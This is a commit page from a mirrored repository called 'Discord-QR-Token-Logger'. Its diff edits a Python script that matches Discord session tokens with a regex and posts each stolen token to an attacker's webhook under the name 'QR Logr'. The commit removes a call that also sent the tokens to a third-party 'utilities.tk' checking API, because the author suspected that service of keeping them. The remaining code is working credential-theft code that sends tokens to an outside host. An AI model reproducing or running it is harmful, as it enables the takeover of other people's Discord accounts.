mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-30 06:20:22 +00:00
Removed Utilities.tk API
Unknown API - Possible Token Storing on API
This commit is contained in:
parent
346e987e50
commit
25dca5e6f4
13
QR-dtg.py
13
QR-dtg.py
@ -99,19 +99,8 @@ end="")
|
|||||||
if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
|
if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
|
||||||
print("invalid token? (didnt match regex)")
|
print("invalid token? (didnt match regex)")
|
||||||
|
|
||||||
check = requests.post('https://utilities.tk/tokens/check', json={'token':token})
|
|
||||||
|
|
||||||
if check.status_code == 401:
|
|
||||||
print('Account invalid.')
|
|
||||||
elif check.status_code == 403:
|
|
||||||
a = check.json()['username']
|
|
||||||
print(f"Account locked. `{a}`")
|
|
||||||
elif check.status_code == 200:
|
|
||||||
a = check.json()['username']
|
|
||||||
print(f"Account valid! `{a}`")
|
|
||||||
|
|
||||||
data = {
|
data = {
|
||||||
"content": f"TKN: {token}\nUser: {a}",
|
"content": f"TKN: {token}\n",
|
||||||
"username": "QR Logr"
|
"username": "QR Logr"
|
||||||
}
|
}
|
||||||
if webhook_url:
|
if webhook_url:
|
||||||
|
Loading…
x
Reference in New Issue
Block a user